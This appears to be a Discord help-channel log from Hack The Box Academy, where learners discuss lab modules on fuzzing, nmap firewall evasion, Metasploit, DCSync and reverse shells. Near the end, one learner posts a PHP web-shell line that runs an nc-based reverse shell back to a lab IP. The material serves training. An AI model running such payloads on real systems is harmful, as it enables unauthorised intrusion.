Hey everyone, I don't know whether this is the right place to post this...I have a question that stemmed from a module, but it isn't to do with the module per se. 😅 I'm going through the DCSync section of Active Directory Enumeration & Attacks, and I'm wondering about the statement It is common during an assessment to find other accounts that have these rights — could anyone provide some use cases wherein this permission set would be configured for a non-admin account? My first thought was backup services/jobs for AD, but I'm curious about any others. (Understanding why this would appear in the wild will help me retain the info better.)

fathom pendant
ancient niche
#

i think I'm failing something but i don't know

upbeat pike
fathom pendant
#

Dive into the joblib and see if it's defined

ancient niche
fathom pendant
#

It doesn't inspire confidence when you say "i think so" when asked a direct question about something, it means you're unsure/don't actually know

fathom pendant
#

You've been struggling on this module for a few weeks now and plenty of people have nudged you

#

Perhaps AI just isn't your thing and you should put the fries in the bag Sad_Squidward_Pepe

ancient niche
#

you're very kind

fathom pendant
#

I mean, when you're struggling this hard, and seemingly making snails pace progress and rushing to discord...

nimble scroll
#

Hi, I am struggling with this module, Target(s): 94.237.50.80:50074

Life Left: 86 minute(s)
vHosts needed for these questions:
inlanefreight.htb

  • 1 Brute-force vhosts on the target system. What is the full subdomain that is prefixed with "web"? Answer using the full domain, e.g. "x.inlanefreight.htb" , I also edited /etc/host and stiill nothing.. what I am doing wrong ?
#

I also tried with a different wordlist and still nothing 😦

fathom pendant
#

It doesn't magically know

tired atlas
fathom pendant
#

Also what does your hosts file look like?

tired atlas
#

You need to add port number with the IP address, in the /etc/hosts file

Made the mistake of only adding IP address

nimble scroll
#

I will send a picture of host file after then scan completes

#

I added ip and inlanefreight.htb

#

this was the mistake I guess

#

still didn t find anything 😦

ancient niche
#

@fathom pendant i don't care what you tell me. I will get it 😉

fathom pendant
#

You don't put the port in the hosts file

nimble scroll
#

ok.. so what should I correct beside the port?

fathom pendant
#

--domain is a separate flag btw

#

Not part of --append-domain

nimble scroll
#

so how should the command be ?

fathom pendant
#

--append-domain --domain inlanefreight.htb

acoustic owl
# nimble scroll

You have several IPs of the. Domain inlanefreight.htb assigned, this leads to problems.

fathom pendant
fathom pendant
nimble scroll
#

ohh..

acoustic owl
nimble scroll
#

aand... it worked, thanks man I apreciate your pacience 😅

fathom pendant
#

@nimble scroll Spoiler/answers in your screenshot

nimble scroll
#

ok

#

I will delete now, thanks again

fathom pendant
#

I already deleted the one with answers

nimble scroll
#

allright

tired atlas
fathom pendant
#

It's also important to edit the hosts file not the host file

thin parrot
potent sandal
#

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://94.237.54.190:46718 -H 'Host: FUZZ.academy.htb'

#

:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.academy.htb

#

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.htb:46718 -H 'Host: FUZZ.academy.htb'

#

stilllll nootthhininnggg

#

i reset it and add the ip to the hosts file

fathom pendant
#

Skill assessment for ffuf module yeah?

potent sandal
#

yes

fathom pendant
#

Hold on

potent sandal
#

94.237.54.190 academy.htb

fathom pendant
#

The expected subdomains are all in the 5000 wordlist

potent sandal
#

i try another vpn moment

fathom pendant
#

You don't need the vpn for this

#

It's a public IP and port

#

Yeah there's something wrong with your target spawn

potent sandal
#

it was my private vpn

#

is function now

fathom pendant
#

You mean a vpn not from htb?

#

Or?

potent sandal
#

correct

#

from my host

fathom pendant
#

Ah that may do it if they ratelimit you

potent sandal
#

prayge only lost a night

vale aurora
#

Hello, I am facing something in Public Exploits in pentesting.
When i am solving the question, firstly I nmap scanned the target, it showed OpenSSH 9.2p1 and rcbind as the open services.

When I come to searchsploit the openssh 9.2p1 there was no results. I checked the hint and it said search for plugin exploits

I want to know, why plugin ??
When i entered the msfconsole and serched for plugin, there were +200 exploits for it. So should I proceed with them all or should I scan specific one from it ? and why plugin specifically ?

harsh sundial
#

hey everyone in the last module of nmap can anybody explain what i am looking for ?

fathom pendant
#

you're given an IP and port to work with

#

that's your scope

vale aurora
#

oki, so what about plugin ??

fathom pendant
#

it's a web server

vale aurora
#

is it becuase the content of the page has plugin so I am searching for that ?

fathom pendant
#

enumerate info based off of what i just told you

vale aurora
#

so if I am thinking correctly, we are looking for an exploit for plugin 2.7.10

tired bough
#

Not sure if this is the right place to ask, but are there any modules on like android pentesting or forensics?

vale aurora
harsh sundial
#

so can anybody help me on the last chapter of the nmap network enumaration
if possible offcourse ?

fathom pendant
fathom pendant
#

you've just said you're stuck on the section without saying much beyond that

#

are you stuck at the beginning

#

did you find a service and don't know what to do next

harsh sundial
harsh sundial
#

i only get an appache service and a ssh

tired bough
fathom pendant
#

something about source ports

harsh sundial
fathom pendant
#

you can replace the specific port they use with -p-

harsh sundial
fathom pendant
#

correct

#

what you're looking for may not be on a default port/default service

harsh sundial
#

but why would i want that wouldn't that be hella suspicous and detectable ?

fathom pendant
#

don't concern yourself with that detail

#

i've done this section while only triggering a handful of detections

fathom pendant
harsh sundial
#

how do u know ur detected because i tought it was only the first excercise

harsh sundial
fathom pendant
#

the http://ip/status should tell you

#

you don't really need to study up on it

#

i'm telling you where you're mistake in logic is

harsh sundial
#

okay sorry i wanna circle back to that source ip i have been using 5 decoys so that is what your saying ?

fathom pendant
#

you're making an assumption based on incomplete details; you're assuming the sys/netadmin properly set the tools and firewall rules up

fathom pendant
#

source PORT

#

decoys are absolutely not necessary

harsh sundial
#

oh okay
i see what your saying i can use another port for the scans to make it seam like i am a genuine a http connection?

spice bolt
#

مين عربي

fathom pendant
spice bolt
#

Okay

fathom pendant
spice bolt
#

I have some experience on hacking but I want someone to teach me because idk where to complete now

tired bough
spice bolt
#

Okay

harsh sundial
spice bolt
#

Can u do

fathom pendant
compact patrolBOT
fathom pendant
#

htb academy is a paid resource (with some free content [tier 0 modules])

spice bolt
fathom pendant
#

otherwise you can google a lot of the stuff to learn

agile sinew
#

hey can somebody help me with skill assesment in intro to assembly language? I am doing what they say you to do yet in first part the shellcode doesnt display the flag

fathom pendant
#

i offer a paid mentorship and tutoring to go through the pentester pathway for #cpts [not affiliated with htb]

spice bolt
#

Okay

harsh sundial
dry plover
#

hii

#

i want to get into a database

fathom pendant
#

if it's your school's database, you can go kick rocks as that's illegal (see #rules)

dry plover
#

no my own sql

fathom pendant
#

well if it's your own database just log in

#

¯_(ツ)_/¯

dry plover
#

no i want to test it for security

fathom pendant
#

but this isn't a support chat for general issues; read and follow #welcome to access more channels

dry plover
#

like pentesting

#

ok

fathom pendant
#

as this channel is specifically for htb academy modules;
there's 2 modules that I can think of that get your foot in for SQL databases (well more if it's a web based application, SQLi)

plain raven
#

Hello

#

I am deliberately about to give up

spice bolt
#

Why

fathom pendant
agile sinew
harsh sundial
#

okay i am so i am back but i am a little fuzzy on what the --dns-server flag does and the benefit it has does anyone perchance have a clear explanation or a recourse for it ?(for nmap btw sorry)

fathom pendant
spice bolt
#

Does Zenmap works on Kali Linux anymore?

fathom pendant
#

--dns-server specifies the name server to use instead of the nearest public server

#

or whatever default server would be used

harsh sundial
fathom pendant
#

my hint mentions specifically source port

fathom pendant
harsh sundial
fathom pendant
#

and explains how certain things may be mistrusted

#

implicit allow for all traffic coming from port 53

#

instead of specific addresses

fathom pendant
vale aurora
#

I got the exploit
I set RHOSTS to the IP of the machine
I already knew that check is not operatable on this vulnerability

when I run exploit, it tells me Auxiliary module execution complete

but idk whether i am now inside the machine or not. I tried running ls. I got alot of files but none of them is flag

plain raven
# spice bolt Why

Sir ethical hacking is quite difficult I tried to learn from tutorial from YouTube but still I can understand them

vale aurora
fathom pendant
#

read the exploit name carefully

#

also when it completes it'll tell you where it saved the file to

fathom pendant
#

biggest thing when using msfconsole, is the options command

harsh sundial
#

hey thanks for the tip i found a new service now i just need the version of the service
back to trying i guess

vale aurora
fathom pendant
vale aurora
#

from reading the explaination, it said any option with required set to yes needs to be set

fathom pendant
#

you need to adapt to the given conditions

vale aurora
#

but there were options having required set to yes that he didnt set them

fathom pendant
#

the ip and port are given to you RHOST which is the IP given; RPORT is the port given

#

otherwise it defaults to http/80

#

which will get you nowhere fast

#

R- Remote

#

L- Local

lunar flicker
#

Hi guys, can someone please help me with CWEE - Advanced Sql Injection - Read and write files?

I’ve created a payload working just to pg_sleep(15) but I cannot go for more that it

fathom pendant
#

just because it "isn't required" doesn't mean you don't have to change it

#

RPORT defaults to 80 (HTTP) but your web server you're attacking isn't on port 80, is it

vale aurora
#

yes

fathom pendant
#

no, it isn't

vale aurora
#

it is on port 56461

fathom pendant
#

correct

#

so you need to change the RPORT to match that

#

you don't put IP:PORT as RHOST

vale aurora
#

can your rephrase this cuz i didnt understand

fathom pendant
#

well I don't know how you have your options set up

#

RPORT - remote port

vale aurora
#

I set the RHOST to the IP of the machine

fathom pendant
#

the port that you're telling msfconsole to connect to to perform the exploit

#

it needs to be the port that the web server is running on

#

when you run the exploit it grabs a FILE

vale aurora
#

I see alot of intresting things here in show options

fathom pendant
#

the question gives you a filepath for the flag.txt

vale aurora
#

sry

fathom pendant
#

anyway venturing into spoiler territory, you should be able to work it out from here

#

i'm not getting paid to hold your hand through each step

vale aurora
#

I am just trying to understand each step I am doing

fathom pendant
#

break down the question into important information required
IP
PORT
File location/name

#

translate that to what you need to do to exploit

harsh sundial
#

how can i interact with a idbm db2 ?

#

hey thx @fathom pendant
i found the flag u were a big help

fathom pendant
harsh sundial
#

i still don't completly understand

fathom pendant
#

in short:
request comes in from your machine with a trusted source port, firewall is misconfigured to allow all requests that have the trusted source port

harsh sundial
#

okay that part is clear because it is normally for dns trafic

#

but what confuses me is what netcat does and how i get a flagg immediatly ?

fathom pendant
#

it's assuming the request is coming from a dns server and allowing it

#

you can't get it 'immediately' you just need to have some patience

#

netcat just connects to a remote service on port
nc ip port
with -p you're specifying YOUR port

harsh sundial
#

yea yea but what does netcat do that it give me back a flagg while the question ask for a version ?

#

220 is a tcp server reply no ?

fathom pendant
#

the flag is the version

#

220 {version of service}
220 is just a status code meaning it's ready for commands

#

if you know your l33t5p34k you can look closer at the flag

#

😉

#

but in this case it's configured that the version banner is a HTB{FLAG}

harsh sundial
fathom pendant
#

ah nvm i was thinking of a different lab

harsh sundial
fathom pendant
#

ignore the l33tsp34k

#

but the answer is the HTB{k..6}

vale aurora
fathom pendant
vale aurora
#

no no not u

#

it is me the clown

harsh sundial
# fathom pendant but the answer is the HTB{k..6}

yea i found the flag i completed it
thx for the help
i still got a long way to go i wanna start doing like machines on the labs but i am trying to get the right skill if u got suggestions i am all ears

vale aurora
#

Thx for the help buddy, you are so helpful and I really appreciate that.

fathom pendant
#

90% of your time is gonna be spent just looking at stuff

harsh sundial
fathom pendant
#

htb labs are meant to be vulnerable

harsh sundial
fathom pendant
#

i suggest the information security foundations path

harsh sundial
fathom pendant
#

you'd be surprised how often things are left open

#

when researching for a lab i was working on i found an open login on a public IP with default creds

harsh sundial
#

so like admin admin ?

fathom pendant
#

something like that

vale aurora
#

This is taught in the information Foundation path ?

fathom pendant
#

default cred stuff is sprinkled all around

harsh sundial
fathom pendant
#

the Information Foundation Skill Path gives you solid networking, Linux, and Windows foundations

fathom pendant
harsh sundial
vale aurora
#

sometimes it works

fathom pendant
#

when you complete a t0 module you get the 10 cubes back

harsh sundial
#

so next i am gonna do the one u suggested

fathom pendant
#

nmap is a t1 module

harsh sundial
#

yea no i gott make that habit

fathom pendant
#

complete one before moving on to the next

#

good knowledge builds off solid foundations

vale aurora
#

Do you see that pentesting is a good start for a noob ?

harsh sundial
#

my goals is to get the cap machine

#

the pirate one

solar bloom
#

Is there a way to get the PWN box distro or do we just need to setup our own Parrot VM?

#

To clarify I have access to the PWNbox on the academy and I like how it operates, just through it be nice to have my own VM distro thats a mirror of it.

dapper moth
remote fulcrum
#

I have a simple question. I am doing module Information Gathering - Web Edition . And section "Creepy Crawlies" lets me use a Reconspider script. However, it seems to do nothing. Or is that a user error (me)?

young ore
devout temple
#

@fathom pendant Could you give me some help?

I am doing the Attacking WPA/WPA2 Wi-Fi Networks - Skills Assessment, there is just one question left.
I am getting a certificate error on the hostapd-wpe even after patching it.

remote fulcrum
fathom pendant
remote fulcrum
devout temple
#

😦

remote fulcrum
#

(Problem Exists Between Chair And Keyboard)

remote fulcrum
young ore
#

Ok…

fathom pendant
#

jq -r '.*' Results.json will print all things
jq -r '.<category name>' Results.json will print that specific category

#

i.e. emails, comments, etc

young ore
#

@remote fulcrum 👆👆

fathom pendant
#

learning how to parse things with jq is OP

young ore
#

What’s op?

fathom pendant
#

OP = Over Powered

young ore
#

I’ll add it to my slang dictionary😂

#

I agree jq is great

pliant jewel
#

hi, idk if this is the correct channel but i have a question about NetCat. If anyone can dm me please, its quick (I think) thanks

fathom pendant
#

@pliant jewel what is the section name you are working on

#

you don't need to do any special math

pliant jewel
#

Skills Assessment

fathom pendant
#

yeah not sure why they have you do all this nonsense with netcat

pliant jewel
#

xd

fathom pendant
#

ftp ip

#

much simpler

pliant jewel
#

lol

tulip copper
#

Hi I have a question, for IPMI enumeration, is there a way to know which BMCs used? footprinting module

pliant jewel
#

thanks mate

fathom pendant
pliant jewel
#

it works perfectly

fathom pendant
#

but it heavily overcomplicates the process

fathom pendant
#

if so; that's why it failed because you terminated your initial connection

tulip copper
fathom pendant
pliant jewel
#

now how can i do "RETR"?

#

if I do RETR --> ?Invalid Command

fathom pendant
#

Retr filename.txt

#

?

#

If not "get" is a valid verb

pliant jewel
#

I think my internet doesnt wanna work today

#

I did "get" but anything happend

#

now it worked

#

thanks one more time

limber fog
#

Hi, quick question for the Wordpress module
I'm the vln assessment and there is the "Use a vulnerable plugin to download a file containing a flag value via an unauthenticated file download." question.
I skipped this question as I did not identify where to download a file, and the wpscans did not reveal anything of the sort.
Am I complicating things ? Or is there something I have missed ?
Thank you

undone pulsar
tired olive
#

so OSI is the guideline/overview of the path a packet travels

#

TCP is the way the protocols actually use those packets?

#

im confused 🤞

limber fog
fathom pendant
#

TCP/IP is a bit more broad

waxen totem
# tired olive TCP is the way the protocols actually use those packets?

Well TCP in itself is a protocol as well, all it does is determine HOW the services interact with each other. In TCP's case it establishes a connection through a 3 way handshake and constantly confirms connection by acknowledging that there is a connection with packets regularly. On the other hand UDP doesn't bother with confirming if the opposite has received the information it just keeps going unless you have UDP traps setup(a whole new can of worms).

broken star
#

Having a little trouble on the initial foothold section of the getting started module, I have gained entry, and uploaded the reverse shell from payloadallthethings, and it is showing correctly in the browser but I can not get nc to connect. My question is what IP should I be using as the <ATTACKING IP>, I assume my own? I am also using kali in a VM and connected to HTB with openVPN. I have tried my openVPN IP, my own IP (probably shouldn't have done that one) and the target IP as well, been stuck for a few hours and am breaking down to ask for help...

cloud urchin
#

The attacker IP is going to be the IP of your VPN. You could also just use 0.0.0.0 to listen on all interfaces.

cloud urchin
#

by default netcat listens on all interfaces, so you can ignore my 0.0.0.0 thing. that works for other shells though

#

just use nc -lvnp <port> like the section says

#

as long as you use the attacker IP (your VPN IP) and the port you're listening on with netcat it should connect

broken star
#

I might have formatted it wrong, syntax error maybe? I'm trying now

cloud urchin
#

you can type ip a to see your network adapters and look at the IP of your vpn connection, in kali it should be the tun0 interface

tacit rune
#

Hate your for this 😡

dark hedge
#

bye

broken star
dark hedge
#

what port is your listener running on

#

8000?

cloud urchin
#

look at the code it provided, you need to make sure your php code includes the correct port you're listening on

#

also if it's not connecting you may want to ping the target to make sure you can reach it

broken star
#

I can reach it, not sure what's up, gunna keep trying

prisma field
#

Hello

#

Help

#

?

#

Hack

cloud urchin
#

hi

north maple
#

mv berify v ur not nought b sorroui y ab ot i m ean!

#

q ui c lc!

cloud urchin
#

what?

north maple
#

hey cae ll meush ma el .... ary male,i shhhh g as slit n

cloud urchin
#

english please

real delta
prisma field
real delta
#

what?

prisma field
#

R o b l o x

real delta
#

can you speak in full complete sentences please

prisma field
#

A hack for R o b l o x fish please

cloud urchin
prisma field
#

O ok

tired olive
#

iconic

lusty thicket
#

because it's elegant and follows best practices

#

i don't think an -R witch exists in tcpdump

#

if you meant -rX that's still incorrect

verbal phoenix
#

Is there anyone who completed Skill Assessment of Server Side Attacks module I'm stuck in this for 3 days ?

cloud urchin
ebon isle
#

Hey, I have a quick question, are there more blue teaming modules and learning path planned besides the Certified Defense Security Analyst? If yes which ones? 🙂

cloud urchin
#

They don't really comment on it, but there are more and more blue modules being added so it wouldn't surprise me.

young ore
#

It seems like it. The new ones are tier IV, the others are Malicious Document Analysis and User Behaviour Forensics, I believe

dark garden
#

Hello, is this bug fixed? I have the same issue: no MDNS traffic in the section "Initial Enumeration of the Domain" of "Active Directory Enumeration & Attacks". Thanks.

wooden seal
#

Its from (Active Directory Enumeration & Attacks {External Recon and Enumeration Principles})
on bgp.he
mail1.inlanefreight.com(10)
i was curious why is there 10 ? like what does it denote the no. of mail servers or something else

tranquil axle
lusty thicket
#

if it's not the next priority mail server gets the mails

wild forge
#

hi, i'm doing Intro to C2 Operations with Sliver and stuck at the third question, any hints how to move to DC02?

old ivy
#

I have problem understanding one section in forensic module from cdsa - sometimes we do not have relevant telemetry from sysmon because of the in-memory attacks, and that’s where memory dump gets in the game. I tried doing my best on memory dump, but there are still some things that I do not understand

#

Based on the table from “practical scenario” I feel like I am missing most of the information, like: how they planted the malicious persistence service mentioned in the table (it is done by Service control manager and RPC), but at the same time I cannot find anything about that - all I get is the service name and telemetry from sysmon, but that’s it - I have no idea what exactly they did to achieve that

#

Any tips on that?

tranquil axle
# old ivy Based on the table from “practical scenario” I feel like I am missing most of th...

which section is this? If RPC ports are open and you have local admin rights you can install services via that rpc interface from outside. If you know they used RPC and Service Control Manager then the attacker had some valid creds to a high priv account already. Microsoft offers a tool called psexec to administrators that does just that, given high enough access rights it copies a executable file to a writable share and creates a service that launches this executable to give you remote access to the host

old ivy
#

Should I focus on memory dumps only?

tranquil axle
#

I'm not sure what is available to you, do you have sysmon logs? PSExec/Service artifacts can be identified like this for example:

wild forge
old ivy
#

Seems like I am doing something wrong Sad_Squidward_Pepe

tranquil axle
#

you mean how the file was created?

tender cliff
#

Hey

#

I'm new

#

Can I join this chat

ebon isle
young ore
tranquil axle
old ivy
#

Indeed

tender cliff
#

I'm new in this field. I'm felling difficult in this field. What I do to avoid problems can anybody help me 😔😔😔

old ivy
#

I got most of it, can even see the initial beacon, decoded it but no telemetry on how 8ea5559.exe was created

young ore
#

Ah, i see it

surreal chasm
#

On pivoting, last section before skill assessment
Seems like SocksOverRDP is being deleted
Anyone knows why?

weary cargo
#

Hi, my first time on this discord server. This seems like the place as far as i can determine to ask doubts regarding the labs.

I'm doing the pentester path - getting started module, nibbles box.
I keep getting a Net::ReadTimeout when i try and whatweb <ip address>/nibbleblog.
Can't access the webpage either. Not sure where the error is.

urban elk
#

there's no "tricks" to help a machine come up in labs, right ? It's a bit of a time-waster to start the labs and set up forwarding only to need to restart the labs because one of the machines isn't up (after waiting a while)

#

(being as kind as I can, it's been more than smooth sailing for me throughout CPTS, it's only AEN that's been a bit dodgy for me. As far as I'm concerned the guys do an awesome job with this infrastructure)

old ivy
plain raven
#

Hello

#

Now I am going cryz

tranquil axle
plain raven
#

😭 😭

bright ore
#

hi, could someone can help me on this questions on the Using proxies skills assesment module ?
i retrieved the cookie, but can't decode it with the different decoding possibilities in ZAP/Burp and other on internet

chilly echo
#

Module using web proxies section: Intercepting Responses
Im having trouble finding Intercept Response under Intercept Server Responses Im using the burp in Pwnbox

bright ore
#

the third options in the proxies options

chilly echo
bright ore
hardy spire
#

let's cook 🔹 @chilly echo

chilly echo
bright ore
#

no problem

surreal chasm
tranquil axle
bright ore
#

btw the smart decode don't seem to work on anything in burp

empty loom
#

Can someone remind me of one? In Windows Privilege Escalation Interacting with Users, I use "smbmap -u htb-student -p 'HTB_@cademy_stdnt! '-H 10.129.203.194 -r 'Department Shares' --depth 3" No folder with write permission found

lavish ember
#

Can someone explain to me why this is not working it's in the AD enumeration and attacks module DCSync section

*Evil-WinRM* PS C:\tools> Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} |select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl


[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest
    + CategoryInfo          : OperationStopped: ([Get-DomainGUID...from Get-Forest:String) [], RuntimeException
    + FullyQualifiedErrorId : [Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest
tranquil axle
lavish ember
#

Ohh
Okay what's the best way to do those kind of attacks as I feel rdp is really slow

tranquil axle
#

It depends on whats at your disposal, you can use winrm to execute a powershell revshell (revshells.com) and then in that interactive shell (that still doesn't have tickets) you can use Rubeus with asktgt to request the tickets again (if you have credentials) or you could execute a meterpreter payload that you created with msfvenom if you like to use metasploit. You can also see if psexec works, then you don't need to reobtain the ticket

#

for rdp there are some flags you can pass that make it a little more performant

lavish ember
lavish ember
surreal chasm
tranquil axle
# lavish ember can you tell me what are those flags

xfreerdp /u:Helen /p:'RedRiot88' /d:inlanefreight.local /v:10.129.229.244 /dynamic-resolution /drive:.,linux /bpp:8 /compression -themes -wallpaper /clipboard /audio-mode:0 /auto-reconnect -glyph-cache is a example from Windows Lateral Movement for "Optimizing xfreerdp for Low Latency Networks or Proxy Connections"

tranquil axle
lavish ember
tranquil axle
#

so you will have a linux harddrive that is connected to your attackmachine

#

you can also do "/drive:/home/htb-student,MyAttackDrive" to map your home folder to "MyAttackDrive" on the host

tranquil axle
#

I think it usually shares clipboard no?

#

I remember copying things around and I dont think I had to do anythign special

white junco
#

Hello guys,
I was hoping to get some assistance. A nudge in the right direction. I'm enrolled in the Penetration Testing path. I'm at the end of the module where I learned hands-on enumeration, web footprinting and privilege escalation. I'm tasked to exploit vulnerability in GetSimple CMS 3.3.15 . Web search revealed there's a vulnerability in theme editor. Written in PHP and admin has complete edit access to it.

So what I did I added <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.166 8443 >/tmp/f'); ?> to gain a shell access. On my machine I'm listening with nc -lvnp 8443 . Activating (loading) the theme isn't giving me reverse shell, but it should, right ?

tranquil axle
#

once you get simple command execution you can try and establish a revshell

#

Not all revshells work at all times, for example it could be that the server you are trying to get a revshell from doesn't have "nc" installed/in the PATH variable

tranquil axle
#

ok so that means you have code execution, you can now try to pass your commands for a revshell as the parameter or try different revshells from revshells.com